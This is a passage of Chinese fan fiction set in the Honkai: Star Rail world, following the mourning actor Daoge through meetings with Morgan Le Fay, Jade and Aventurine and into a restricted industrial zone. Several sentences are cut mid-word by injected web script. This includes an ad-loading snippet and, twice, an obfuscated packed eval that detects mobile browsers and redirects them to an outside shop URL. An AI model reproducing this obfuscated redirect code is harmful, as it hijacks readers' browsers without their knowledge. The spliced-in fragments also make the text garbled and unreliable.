“实际上,我应该向您道歉。”伶人继续说,“昨晚鸢尾花的异动,是由于我做了一个噩梦……当我惊醒,我恍惚以为噩梦进入了现实,因此开枪。” “为此给鸢尾花酒店带来的损失和麻烦,我很抱歉。我已经将对房间造成的损失和其它的一些赔偿送往前台,希望能稍微弥补。” 摩根勒菲干脆地说:“不用道歉,也不用赔偿,是我想得不够周全——特殊时节,鸢尾花酒店的安全系数也许不够。如果你不嫌麻烦,我诚心邀请你暂住我的庄园。” 悼歌沉吟片刻,说:“谢谢您,我很乐意。” 摩根勒菲点头,甜蜜地微笑起来,说:“那很好。我已经让拜勒多纳出发去接你了,他是我的接班人,和其它派系成员不一样,是一位严肃认真的孩子,你会喜欢他的。” 悼歌回想了一下先前曼陀罗成员那欢快的气质,保守地为自己降低了一点期待,提高了一点心理承受能力。 “还有一件事。”摩根勒菲说,“昨天夜里,疯牛的同步轨道庄园遭到不明人士的入侵。入侵者大肆戏耍了疯牛的守卫,最终不取一物,从那里逃之夭夭——他们怀疑这件事是假面愚者做的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。疯牛大发脾气,在凌晨五时二十四分发布了伊伊玛尼喀最高悬赏令,以1,000,000,000信用点的价格通缉这位不知名入侵者……” 悼歌:“……” 悼歌消沉地说:“也许,我知道入侵者是谁。” 悲悼伶人微不可察地深呼吸一口气,说:“那位入侵疯牛同步轨道庄园的假面愚者是我的同伴,是我值得信赖的朋友。女士,虽然他偶尔会做一些恶作剧,但是他并不是……” “……并不是毫无底线的乐子人。” 悼歌坚持说完。 摩根勒菲露出些许惊讶:“……这真少见。一位伶人和愚者做了朋友。但是既然你这样说,你的那位朋友现在还好吗?我可以为他提供一个藏身之所。” “我代替他感谢您,”悲悼伶人郑重地向摩根勒菲致意,“但是我想,他如果不愿意被人找到,那么鲜少有人能找到他。” “那么我就在庄园等候你的到来了。”摩根勒菲优雅地道别,“稍后再见。” 镜子中的涟漪消失了。 悼歌静静地等待了三秒。 三秒后,悼歌有气无力地喊道:“……杰斯特。” “早上好哇,亲爱的忒利斯提斯!”金发绿眼的愚者不知道什么时候打开了房间的窗,此刻他蹲在窗上,晨间清风从他背后吹拂进房间,将他金色的长发吹得四处飘扬。 愚者笑眯眯地托着下巴,说:“我看到你床头柜上那个娃娃了!——那是给我的?那是给我的。哎呀,真不错,还是你懂我。” “早上好。那的确是给你的。”悼歌一边叹气一边拄着拐杖走近,向愚者伸手。 愚者搭着悼歌的手从窗上一跃而下。 一跳进来,愚者就轻快地跳过去拿起那个玩偶仔细端详:“哇,还是眯眯眼绷不住笑脸,够阴阳怪气,更有我的风格了。” 悼歌关好窗户,问:“你昨天去了疯牛的同步轨道庄园吗?” “哈哈!”一谈起这个,愚者顿时乐不可支,“我必须立刻和你分享疯牛气到扭曲的脸!真可惜,忒利斯提斯,你昨天晚上没在。你应该和我一起玩的——公司的人,他们找乐子找得明白么?” “……” 悼歌说:“下一次,你找乐子之前务必告诉我。我一定和你一起去。” “哇哦,”愚者稀奇地看了看悼歌,“你终于决定投入欢愉的怀抱了?” 悼歌摩挲了一下拐杖,说:“不,我跟着去,确保你不会一个不小心将自己的生命变成乐子献给阿哈。” 悲悼伶人消沉地顿了一下,继续说:“虽然,我跟着去,情况可能会变成你将我们两个的生命变成乐子一起献给阿哈……” “哈哈!”愚者笑了一声,紧接着傲然说,“你太小看我了。在如何安全地找乐子方面,欢愉令使也不一定有我精通。因为我可是高贵的meta系角色。” “……?”悼歌问,”meta系角色?” “意思是,我能意识到寰宇是一个巨大的游戏,所以我能打破了次元壁和那些世界之外的人交流!”愚者笑眯眯地说,“你要是认同我,你也是meta了。快说你信了,meta要素可是无敌的。” 悼歌:“……” 悼歌:“实际上,你早就说过‘寰宇是一个巨大的游戏’这一观点,我从来没说过不信。” 愚者轻快地说:“那太好啦!这样一来,你就很难死了。” 27.二十七、典当慈玉,翡翠 悲悼伶人忍不住笑了一下,说:“啊……我不能不为此说谢谢。” 愚者:“哎呀……你笑了?” 悲悼伶人立刻恢复神情:“也许。但现在重要的是你的通缉令……” 悼歌打起精神来,点开通讯器,娱乐头条立刻刷刷地刷出一大片。 《震惊!疯牛声称昨夜凌晨假面愚者夜袭同步轨道庄园!》 《情仇?私生子?揭秘假面愚者与疯牛里奥、毒蛇安纳西二三事!》 《夜闯鸢尾花酒店,大闹同步轨道庄园!假面愚者,究竟是何方神圣?》 悼歌:“……” 他关闭了通讯器,以免这些宛如虚构史学家般的诡异报道在他眼前晃来晃去。 然而他关的迟了,眼尖的愚者已经看见那些标题党的标题,并表现出十足的兴趣。 杰斯特笑眯眯地凑过来把悼歌的通讯器打开,对着那些娱乐头条发出爆笑:“哈哈!他们真有做乐子人的潜质。” 愚者兴致勃勃地往下划了几下,一边划一边说:“别担心通缉令,忒利斯提斯,他们拿我没办法。” 愚者忽然想起什么来,笑眯眯地说:“不过,我去同步轨道庄园溜达一圈也不是光去玩了——你猜猜我在那里见到谁了?” “……”悼歌把通讯器往愚者那边移了一点,以便于他看,说,“公司的人?” “忒利斯提斯满分!!”愚者使劲给他鼓掌,笑着说,“准确地说,是战略投资部的【翡翠】——那个放高利贷的。砂金、翡翠……石心十人来了两个,看来公司真的很想要乘伊伊玛尼喀的乱局分一杯羹。” “逐利是公司的本性。”悼歌说。 愚者:“你说得对,所以我不爱和公司的玩——我听见有人来找你了,我先走咯!下次出去玩记得要喊我,别再忘记啦。” 金发绿眼的愚者故技重施,像一只鸟一样从窗户飞走了。 门铃的声音适时响起。 悼歌关好窗户,紧接着走到门边打开门。 门刚刚打开,就见一位极其高挑的少年背着手严肃地对着他喊: “舅公好。” 悼歌:“……” 突然成为舅公的悲悼伶人仰头观察这位少年。 他紫色头发,紫色眼睛,容貌昳丽,长相与摩根勒菲十分有九分相似。 悼歌问:“您就是拜勒多纳?勒?菲?” 拜勒点头,说:“您叫我拜勒就好。祖母让我来接您。” 这位少年的态度过于郑重,以至于悲悼伶人的态度也跟着郑重起来。 悼歌斟酌着选词,礼貌地说:“劳烦您走一趟。您和我的年纪相近,也许您可以直接称呼我的名字……” “不,”拜勒义正言辞地说,“您是祖母的朋友,是曼陀罗的贵客。按照辈分,是长辈。” 悼歌:“……” 悼歌:“谢谢……?” 拜勒说:“我已经问过昨天接送您的曼陀罗成员,他们告诉我您不是很喜欢轮椅,因此今天我打算带您乘坐蜉蝣飞车——您第一次来伊伊玛尼喀,应该还没有坐过?可能会有一点头晕……” “谢谢。”悼歌立刻真诚地答应,以免被否决的轮椅重新加入选项池子,“您真体贴,我们快走吧。” —————————— 十分钟后悼歌开始觉得轮椅也没什么不好。 所谓的蜉蝣飞车,一如其名,是一种能够整体放大和缩小的飞车。当它完全放大时,最多可以乘坐6-8人,当它缩小时,它只有一个橘子那么大。 伊伊玛尼喀为蜉蝣飞车建立透明的空中管道,这些管道穿行在各大高耸入云的建筑,而蜉蝣飞车就在这些管道之中,像弹珠一样飞射而出。 由于悼歌的身体问题,拜勒在替他系安全带时额外不放心地多系了几条,此刻,悲悼伶人好像被五花大绑的粽子,一动不能动地被牢牢绑在蜉蝣飞车的座位上,感受着这种高效交通工具的独特魅力:当它在管道之中飞射时,堪比高速运转的滚筒洗衣机,足以将乘客的脑花都摇均匀。 又十分钟后,悲悼伶人头昏眼花地拄着拐杖捂着脸,试图平衡天旋地转的感觉。 拜勒既愧疚又自责地拍着他的背,仿佛他真的是一位上了年纪的老人。 这位曼陀罗派系的继承人自省道:“对不起,这都是我的错。我应该考虑到您身体的状况……” “……”悼歌深呼吸,放下手,理了理头发,顶着从昨晚开始的各种糟糕加成,说,“不,不是您的错。我没事,我们现在就去见摩根女士吧。” —————————— 悲悼伶人再一次踏足这座美丽的庄园。 拜勒忙于生日宴的筹办,已经先一步离开,于是另有一位曼陀罗的成员领着他去见摩根勒菲。 引路的人带他来到先前摩根勒菲等候他的会客室,喊道: “摩根大人,您的客人到了。” 悼歌向内看去,发现除了摩根勒菲,这间会客室内还有另一位女士。 这位女士姿态放松地斜靠在沙发的一侧,那顶大檐帽使她一半面容都掩映在阴影之中。她涂着冷色调的唇彩,搭在膝盖上的那一只纤长的手的指尖,也一并涂着冷色调的指甲油。 她听到声音,微微偏头,一双蛇类一样的眼睛向着伶人看过来,脸上带着捉摸不透的微笑。 这位冷艳优雅的女士,就是愚者所说的“放高利贷的”翡翠。 伶人心想,同时顶着翡翠的打量慢吞吞地打招呼: “您好,女士。” “你来了,悼歌。”坐在另一侧的摩根勒菲微笑起身,快步走过来握着伶人的手,将伶人牵到自己身边坐下。 坐下的摩根勒菲伸出一只手向悼歌介绍说:“这位女士是公司石心十人之一的翡翠。” “你好,伶人。”翡翠含着笑意的低沉声音响了起来,“摩根女士已向我多次提及你,令我心生好奇,想要见你一面。现在总算是见到了。你比我预想中更年轻。” 悼歌收好自己的拐杖,垂眼,静静地说:“久闻石心十人典贷慈玉翡翠女士的大名,今天一见,传闻诚不欺我。” “哦?”翡翠饶有兴味地拨弄了一下头发,问,“那么在你听说的传闻里,我是怎样的面容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 悲悼伶人抬起眼睛直视翡翠,说:“传闻中您是一位来者不拒的放债人,财富、记忆、感情、知识……只要能付出您满意的价值,就能从【慈玉典押】换取任何东西。传闻您静静等候群星之间的欲望向您涌流而来,直到它们结成成熟的果实落进您手。” “十分准确的描述,”翡翠优雅地为悲悼伶人鼓掌,“即使让我自己来为自己的形象做个概述,也难以做得比这更好。” “谢谢您不计较我对您浅薄的认识。”伶人慢吞吞地说,“希望我的到来没有打扰你们的谈话。” “不,我们的谈话快要结束了。”摩根勒菲挂着如面具一般焊接在脸上的甜蜜微笑,对翡翠彬彬有礼地说,“正如我先前和贵司派来的使节砂金所说,请在三天之后我的生日宴上前来,届时我会告诉列位我的答案。” 摩根勒菲轻快地说:“您是一位优雅而耐心的女士,这三天的时间并不长。” “当然,”翡翠丝毫不介意,优雅颔首,说,“从事我这样行业的人,从不缺乏等待的耐心。我只是对您——大名鼎鼎的摩根女士,心生好奇,因此才提前上门拜访……既然您的客人来了,我便不多打扰。再见,摩根女士,希望您今天有个好心情。” 冷艳优雅的放贷人对着摩根致意,从容离去。 “……”摩根勒菲卸下脸上那副甜蜜的假笑,神情冷下来。 她对坐在她身边的悼歌说:“典贷翡翠,慈玉女士……呵。你要小心,悼歌。她不像昨天那个砂金那么好对付。” “这正是我想要和您说的。”悼歌点头,说,“我今天早上得知,翡翠昨夜出现在疯牛的同步轨道庄园。之前的猜测已经能够得到证实,公司的确在挑起三大军阀之间的矛盾。” “我不想这样评价那些称得上同僚的家伙,但他们实在是一群丑陋的蠹虫。”摩根勒菲重新微笑起来,“实际上,甚至用不着公司的挑拨,他们也会在这个时间点上出手。这群庸庸碌碌的无能之辈忍受我两百年之久,终于要等到我行至生命尽头——他们怎么还忍得住呢。” “……” 悼歌不知道该说什么来安慰摩根勒菲,一时之间,掩藏在心底的悲伤再一次浮上情绪的水面,让他生出落泪的冲动。 摩根勒菲,这位已经在伊伊玛尼喀活过三百年的长生种,已经行至她漫长生命的尽头。 她看起来十分年轻,姝丽明艳,三百年时光匆匆流过,不在她身上留下丝毫痕迹,然而只要三天之后她的生日宴一过,这三百年的时光就会迅速在她身上显露出本来的力量,届时,她将垂垂老矣,只剩下七天的生命。 她已经庇护曼陀罗两百余年,然而在她生命的最后时刻,她那些胆小又狡猾的敌人环伺四周,虎视眈眈,只等着她露出老态,就会一拥而上,露出尖牙。从前他们不敢直面的庞然大物即将轰然倒下,于是宵小之辈也敢围着尸体大嚼其肉…… 生老病苦,寿数有涯。 悼歌垂着眼睛,忍耐着低落和悲伤漫过心底。 “不要太难过,悼歌。”摩根勒菲轻快地微笑着,反过来安慰他说,“人都是会死的。” 28.二十八、浪费人生却不得不开的会议 “我……” 悼歌停顿了一下,继续说:“我会遵照我们的约定,您可以放心地过您的生日宴。” “谢谢,”摩根勒菲微笑,“谢谢,悼歌。我活了太久啦。” 摩根勒菲起身,来到这间会客室摆放着的镜子前,轻轻抚摸那些娇嫩的花枝,说: “在这个寰宇里,没有哪种生命能长存不灭。仙舟人曾经向药师寻求长生,但长生的尽头是沦为丑陋的怪物;流光忆庭的忆者抛却□□成为模因,但此后的人生,将牢牢捆绑在收集珍贵记忆这一条道路……” “再美丽的花也有凋谢之时。美的真意,就在其中。”摩根勒菲笑着取出那枝纯白的百合,递给悼歌,说。 —————————— 和摩根勒菲短暂的交谈过后,她提出了共进早餐的提议,悼歌只犹豫了一秒就答应下来。 他作为悲悼伶人的那一部分,让他很难在一位即将步入死亡的人面前说不。 偌大的长餐桌只坐了摩根勒菲和悼歌两个人。摩根勒菲在主位坐下,托着下巴,说: “你肯定已经见过拜勒了。他是我收养的孩子,在三年前接受我的血成为我的直系后裔——他哪里都好,就是给了自己太多压力。” 悼歌:“他的确严肃又认真,和曼陀罗的其他成员不太像。” “因为我选定他做我的继承人,”摩根勒菲无奈地微笑,“于是他给自己的心加诸种种负担……生日宴临近,他变得太忙啦,连坐下来和我吃早餐的时间也很少……有时候长辈的心就是如此:既希望孩子能够无忧无虑地长大,又希望他能够独当一面。” “父母之爱子,为之谋深远。”悼歌沉默片刻,说,“他一定也十分敬爱您,所以才不想辜负您的期待……” 他们一边说,一边开始进食。 伊伊玛尼喀的饮食文化喜欢保持食材的原本风味,再加之曼陀罗派系对花草和美感有着超乎常人的执着追求,导致了这一桌可入口的东西无论是从外观还是从口感,都有使人难以下口之感。 悼歌注视着眼前散发着鲜艳色彩的蓝紫色菌菇类食物。 那朵菌菇长得十分美丽,伞盖规整,像一条点缀星光的蓬纱裙,看上去能毒倒十个悼歌。 伶人谨慎地评估了一下自己身体的耐毒性,最终英勇地尝了一小块。 “!!” 悲悼伶人凭借自己多年来对苦痛的耐受力,控制住了像个僵王博士一样立刻“哇”地把嘴里东西吐出去的冲动。 它居然是甜的!并且甜度堪比浓缩糖浆。吃进嘴里的一瞬间,这颗菌菇就在用它霸道的味道疯狂殴打伶人的口腔! 悼歌:“……” 悲悼伶人吞下这一小块殴打他的菌菇,转而去尝另一道嫩绿色的肉类食物。 “……” 居然还是甜的!并且和刚才菌菇一样的糖度超标,十分歹毒地麻翻了伶人的半条舌头。 悲悼伶人心里挣扎着去吃第三道。 他越吃越发现,曼陀罗派系似乎有严重的噬甜,无论是么样的食材,最后吃进嘴里就只有甜味。 优雅进食的摩根勒菲终于忍不住笑出声音来。 “我很抱歉,”摩根勒菲一边笑一边说,“看起来你很讨厌甜食。” 摩根勒菲一边下令准备新的菜品,一边笑着说:“我没有想到悲悼伶人居然会挑食。我以为按照悲悼伶人苦修的生活习惯,应该对食物的味道没有太多介意……是我的过错。” “不,不用道歉。”被甜到发齁的食物麻掉半条舌头的悼歌立刻说,“甜是一种能让人高兴的味道,是我作为悲悼伶人的信条让我对这种好味道有偏见……也许应该道歉的是我。” 绝不奢靡作风的伶人誓要捍卫悲悼伶人的形象! 他拒绝了重上菜品,并十分尊重食物地将属于自己的一份吃进肚子,以证悲悼伶人苦修禁欲的优良好习惯。 在悲悼伶人面色凝重地和甜食斗争时,一道通讯提示音自摩根勒菲的手腕腕表响起。 摩根勒菲的神情迅速冷下去。 她放下餐具,起身,微笑起来,对悼歌说:“你看,昨天说的都不错。疯牛和毒蛇来找我来了。” “您要和他们见面?”悼歌亦放下餐具起身,沉默片刻,问。 “不,”摩根勒菲笑着说,“只是全息投影会议。那两个胆小鬼不敢在此时来见我。” 摩根勒菲用手指轻点着腕表,沉思说:“你见过疯牛和毒蛇吗?也许你可以来看看他们是何模样,取星核时可能用得上。据我所知,疯牛有一个巨大的、防备极其严密的收藏室,需要使用他本人的虹膜和指纹打开。” “……谢谢您。”悼歌愣了一下,郑重地保证说,“我会谨守旁观者的美德,安静如哑巴,绝不打扰您。” “不,如果你想,你甚至也可以参与我们的谈话。”摩根勒菲微笑着说,“好了,来吧,让我们来会会另外两位。” ———————————— 依然是那个熟悉的会客室。 悼歌安静地坐在沙发的另一侧,将拐杖踹在臂弯。 摩根勒菲站在碎裂的镜面前,点开会议。 两道虚拟的人形投射出来。 悲悼伶人默不作声地观察着这两道人影。 左边那个,头发和胡须都已染上点点白霜,看起来步入中年。他肩膀宽厚,眼神炯炯有神,满身鼓鼓囊囊的肌肉,坐在那里像一座小山。 右边那位,看上去正值壮年,身形颀长,坐姿优雅,似笑非笑,一双眼睛像毒蛇一般呈现出幽绿色。 很符合他们名号的外形。悲悼伶人想。 “早上好,两位。”摩根勒菲挂着如焊死在脸上的甜蜜微笑,向那两道虚影致意,“很久不见,你们依然如此健康,希望你们能够一直健康,寿数绵长。” “哼。”疯牛冷笑一声,直接道,“废话就不用多说了。我来,是为了公司,以及和平协议。” “看来二位都收到了公司的拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958752|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拢。”毒蛇笑说,“寰宇皆知,星际和平公司是个为了利益可以不择手段的庞然大物。如今他们来到伊伊玛尼喀,想必不是来做慈善的。他们以利益诱惑我们,目的是离间我们之间的关系,好坐收渔翁之利。” “多么富有见地的见解。”摩根勒菲面色不变,继续微笑,为毒蛇鼓掌,“因此,你们是不是要提议,在公司滞留伊伊玛尼喀期间,另拟一个‘特殊条约’,来保证我们之间的,和平、团结、友善?” 摩根勒菲重读了“和平、团结、友善”三个词,仿佛正在把这三个词血淋淋地咬碎。 “您活了三百年,还是这么清明啊。”毒蛇笑说,“正是如此,这就是我的来意。” “这只是作为和平协议的临时补充。”疯牛抱臂,说,“为了节省时间,我拟定了‘特殊条约’的初稿,我要求将地表交界处争议的矿藏暂时关闭,所有权暂时划归就近的派系……” “您真会想。这是什么无耻条款?我不能同意。” “我倒是对此没有意见。毕竟暂时的条款规定,日后废弃不就成了,难道你们不是打着这样的主意的?先来谈谈生效和废除的起止日期吧。” “话不能这样说,摩根女士……” “……” “…………” 接下来,这三位军阀头子就条约内容进行了长达三小时的扯皮,终于,在谁都不满意的结局中,虚伪地维持着表面的和平,将这份注定会被撕毁的条约拟定。 摩根勒菲厌烦地挥散残留的投影,关闭了通讯。 “……” 悼歌沉默地走上前去,递给摩根勒菲一茶杯温水。 “谢谢。”摩根勒菲神情恹恹地接过这杯水润了润喉咙,重新对悼歌微笑,说,“会议结束了。你今天有什么安排?你想要逛一逛伊伊玛尼喀吗?需要人陪吗?” 悼歌静静地拄着拐杖说:“谢谢您的好意,我的确有一点个人的计划。请放心,我一个人也没问题。” “那很好。”摩根勒菲又抿了一口水,微笑着说,“那我就不叫人去吵你啦,玩得开心,账记在我的头上。” “谢谢您。那么,我得短暂地和您说再见了。”悼歌犹豫了片刻,说。 摩根勒菲对着他微笑点头。 悲悼伶人拄着拐杖慢吞吞地走出会客室,他走到拐角时,眼睛的余光瞥见摩根勒菲娇小的身影。 她独自一人地站在镜子的碎片前,深红色的眼睛注视着他离去的背影,注意到他回头的视线,又对他回以笑容。 在这偌大且空寂的会客室,她显得如此渺小。 悲悼伶人忍着再度涌来的悲伤对她轻轻颔首,随后回头,走出了这座繁花装点的庄园。 这些花在夏季明媚的日光中开得灿烂,显露出生机勃勃的生命力,无声中有无边喧哗,让这座庄园即使无人也并不寂静。 但培育这些花的人,却很快就要永远地离开人世了。 无论如何身处喧闹之中,死亡都是孤独的。 29.二十九、赌徒从不吝啬筹码 悼歌从摩根勒菲的庄园一路步行至最近的蜉蝣飞车站。 他刚刚乘着自动扶梯登上站台,就在人群之中看见一个十分眼熟的人。 毕竟他穿得好像一只花枝招展的孔雀,服装配色在伊伊玛尼喀的人群之中更是宛如800瓦大灯泡。 衣着华丽的公司使节明显也一眼看见了他。 此时正值一批蜉蝣飞车到站,熙熙攘攘的人群纷纷朝着悼歌的方向涌来。 砂金侧身,笑着把帽子摘下来按在胸前,对他打招呼:“好巧,朋友!又见面了。” “您好,砂金先生。”悼歌慢吞吞地打招呼,逆着人流踱步至砂金身前,说,“……我没有想到会在这里遇见您。” 按照这位公司使节奢靡铺张的做派,实在很难想象他会来体验这样的公共交通。 “伊伊玛尼喀的交通方式很有趣不是吗?”砂金将帽子戴回头顶,“研发蜉蝣飞车的曼陀罗派系的确有无穷无尽的巧思。根据此地的俗语,‘来到伊伊玛尼喀不体验蜉蝣飞车,等于没体验蜉蝣飞车’,我怎么能不来亲身体验一番?” 悼歌对着砂金沉默三秒。 “……”悼歌长长叹气,略过砂金那一通胡言乱语,直白说,“您在跟踪我。” “欸,朋友,这怎么能叫跟踪?”砂金假笑着说,“我是个自由人,要去哪里是我的自由。我只是恰好和你同路罢了。” “我也不愿意这样想您。然而从今天早晨我出鸢尾花酒店开始,您就一直和我恰好同路。”悼歌说,“另外我必须指出,您在这种事情上有前科:也许您还记得,您昨天送给我的那个娃娃装满了窃听器……” “好吧,朋友,你说了算,我的确可以说在‘跟踪’你。”砂金毫不心虚地承认。 “……”悼歌被这样的态度沉默三秒。 “别这样看着我,我对你完全没有恶意。”砂金笑着举起双手,说,“更何况,你除了‘摩根勒菲邀请的客人’这一身份,应该在伊伊玛尼喀没有任何立场——我说句实话,朋友,你完全没必要掺和进来,但你还是来了。” 砂金摊手,说:“和公司合作紧密的仙舟有句古话,‘来都来了’,再和公司交个朋友也没什么。谁会拒绝公司呢,这可是寰宇中财富的代名词……” “你接下来的目的地是哪儿?我诚恳请求你带我一个。你肯定不会拒绝和我同行的,对吧?我其实挺值得做个导览,你看,我有手有脚,还能帮你买单呢。”砂金笑着说。 悼歌:“如果我拒绝的话……?” “那么我只好继续跟踪你了。”砂金遗憾地说。 伶人:“……” 伶人头疼又消沉地说:“实际上我接下来要去的地方可能并不安全。您还是光明正大地跟踪吧。” 砂金微笑致意:“谢谢,朋友,我就当你同意了。” ———————————— 伶人和公司的使节一起登上一辆蜉蝣飞车。 在像滚筒洗衣机一样高速旋转的蜉蝣飞车中,砂金尚且能够有余力说话。他百无聊赖地玩着一枚筹码,说: “朋友,我能问问,你的目的地到底是哪里吗。你把下车站点选在了毗邻疯牛辖地的地方,我没记错的话,离那站点最近的,是一片生产星际舰船零部件的无人工业区——你去那里做什么?那是禁区。” “……” 悼歌强忍着高速旋转带来的眩晕,慢吞吞地开始介绍及伊伊玛尼喀的历史: “……不知道您了解伊伊玛尼喀的历史吗?在三百年前,此地割据的军阀势力远比现在要多。军阀们彼此攻伐,争持不下,在这颗行星上掀起长达两百余年的战火。来自天外的曼陀罗派系和本地的疯牛派系在混战中达成暂时的同盟,携手终结了那战火纷飞的时代。” 砂金说: “我们开始谈论伊伊玛尼喀通史了?好吧。接下来,就是两大军阀分割利益,各自瓜分这颗行星上的资源。曼陀罗派系分得了能源开采、医药、食品、新闻媒体、交通运输、城建等等领域的绝对控制,而疯牛派系则分得了卫星通讯、武器制造、重工业……和平让他们尝到了甜头,而他们将产业进行瓜分垄断的举措也让他们不得不选择合作。” “直到六十年前,第二次军阀战争的爆发。”悼歌说,“诱因是同步轨道庄园的建立。” “星历8038年,疯牛派系将一艘恒星级巨舰升上伊伊玛尼喀的赤道上空,称之为‘同步轨道庄园’。”伶人以平稳的声线叙述,“并在接下来的一年中,疯牛派系的主要掌权人完成了将自身武备力量和骨干派系成员的全部迁移。” “虽然那名义上是一座‘同步轨道庄园’,然而实际上世人皆知那艘恒星级巨舰的真正用途:那是一艘拥有生态自循环系统和对行星武器的宇宙飞船。按照疯牛派系的设想,同步轨道庄园自身装载的能源和武器,应该足以使它在完成对伊伊玛尼喀的毁灭性打击后驶离,去寻找下一颗宜居的星星……如果要类比,那是一艘雏形‘仙舟’。”伶人说。 “谁说不是呢。”砂金托着下巴,说,“我想不是谁都能放任一艘能毁灭行星的飞船就停在自己脑袋上方的。要是我是伊伊玛尼喀的居民,我大概睡觉都得睁着眼睛。” “疯牛不顾巨大的舆论压力和曼陀罗的施压,执意升上同步轨道庄园的同一年,曼陀罗向伊伊玛尼喀的上空陆续发射了十余枚卫星,每一枚卫星上都装载着足以湮灭恒星的虚数能武器……”悼歌说。 “这些武器无一例外,全部指向那座同步轨道庄园。只要疯牛下令向伊伊玛尼喀地表发动打击,它们就会以相差无几的速度毁灭同步轨道庄园。两大派系的关系,因此降至冰点。”伶人平静地叙述道。 “僵持了两年之后,曼陀罗和疯牛之间就爆发了战争。”砂金体贴地替伶人接话说下去,“具体是以什么借口开战的,我已经记不住了。我只记得,这场战争在三十年前,以曼陀罗的领导者摩根勒菲以诡异的手段杀死了数十名疯牛派系的领头人物结束,其中包括前任疯牛领导者伊戈。也是在这场持续了大约三十年的战争中,第三个新生的派系毒蛇崛起。” “疯牛派系内部的征伐,以及原定继承人的年幼,使得当时疯牛的二把手里奥代替伊戈的儿子成为了疯牛现任领头人物。”伶人说,“而在他上位以后,三大领头人共同签订了《伊伊玛尼喀和平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968208|146755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发展协议》。直到今天。” “因为他们能够互相毁灭……”伶人垂着眼睛神情莫测,“所以他们享有今天的和平。” “很完美的历史介绍。”一晚没睡的砂金打了个哈欠,但仍然捧场说,“但是这和你准备去疯牛的无人工业区有什么关联?” “……” 伶人慢吞吞地说:“啊,那可能是因为,我怀疑疯牛将星核的能量用在了此处。” “噢,原来如此……”砂金困倦地说。 “等等,你说什么?”砂金猛地反应过来伶人刚刚说了什么,大脑顿时清醒,“你说什么的能量?” 伶人浅蓝色的眼睛直视着砂金,说:“砂金先生,其实公司选择在这个时节介入伊伊玛尼喀也不是一个好决定。” 伶人清晰又直白地说: “此刻,疯牛手中握有一颗星核。” 砂金顿时感到浑身发冷。 这下完全清醒了,清醒过头了。 他一瞬间联想到很多:包括曼陀罗的摩根勒菲寿数将至、包括曼陀罗派系对能源开采的掌控导致疯牛同步轨道庄园深深苦恼的能源问题…… 他立刻联想到最坏的那个结果: 疯牛在为毁灭伊伊玛尼喀做准备。他们已经研究出能逃脱曼陀罗的卫星武器的办法。一旦摩根勒菲死去,他们将立刻借用星核的能源完成对伊伊玛尼喀的掠夺和打击,并在此之后扬长而去,实现建造那艘舰船的真正意图。 在长久的沉默后,他问:“你是如何得知的?你确定这是真的?公司也和疯牛有过接触,并未发现异常。” 伶人绕过这个问题,说: “我们到站了。” 随着伶人的话音落下,蜉蝣飞车的旋转速度渐渐放缓,最终停下。 橘子大小的蜉蝣飞车被“噗”地一声从管道中吐出,迎风就长,长成正常的大小,而那道上下开启的车门也随着放气声打开。 悲悼伶人解开身上裹缠得乱七八糟的安全带,从停稳的蜉蝣飞车上稳稳地下了车。 他站定,看向车厢内沉默的砂金,问: “我已向您阐明种种缘由——或许这也是您一直跟随我的目的。既然如此,接下来您仍然打算和我同去吗?” 砂金沉默片刻,重新微笑。 人们常说,他是个赌徒。实际上更多时候这只是因为,他的命运要求了他必须押上自己的生命,他拥有的可以押注的筹码本就不多。他宁愿押上一切去赌一回,好过无能为力地苟延残喘。 这是危机,也暗含着机遇。 如果他能证实疯牛的确在秘密私藏一颗星核,他就又多了一枚对他和翡翠极其有利的筹码。 种种考量在他的脑海一瞬而过,最终指向一个明确的答案。 从未输过的赌徒浮夸又轻快地笑说: “为什么不去呢,我亲爱的朋友?你如此坦诚,更让我觉得我所做的决定物超所值……” 公司的使节一边回答,一边从容地解开安全带,从那艘蜉蝣飞车中走出来,在悼歌身边站定,气定神闲地说: “来吧,朋友,你带路。咱们来看看命运会怎样安排。” 30.三十、潜行的含义是不被人发现地前进 悼歌拄着拐杖走在钢铁丛林之间,鞋底敲击金属地板的声音一轻一重,稳定又持续地在这片无人工业区回响。 砂金跟在伶人身后,尽量不去看这条狭窄道路的两侧。 此刻,他们距离地面也许有百米。 这条镂空的金属栈道只由薄薄一层镂空金属板铺就,左右两侧的栏杆高度甚至不及他的腰。 往左侧下看,略过错综复杂的同款金属栈道,可以望见一个巨大的熔炉,闪烁着耀眼光芒的绿色熔融状物质在其中躁动不安地沸腾,一看就知道能刹那间融化八百个砂金和悼歌。 往右侧抬眼,有一巨大的圆柱状构造贯通底部和顶部,一排排管道和线路如同心脏四腔室的大血管,自圆柱向各处延伸而出。 砂金开始评估自己跟着伶人过来是不是有点过于冒进。 他正陷入沉思之中,走在他前方的伶人忽然停下来,以常人难以想象的动作难度单手单脚地爬上一层脚手架。 在此过程中他姿态轻盈好似一片羽毛,甚至有余力将那根拐杖率先抛上平台。 伶人随后上去,拾起拐杖,微略整理了一下头发,稳稳站在比他高一层的平台上垂头看他,并体贴地问: 